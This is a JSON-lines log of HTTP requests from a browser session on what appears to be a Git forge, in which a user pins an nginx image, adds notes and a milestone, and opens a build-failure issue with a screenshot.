{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
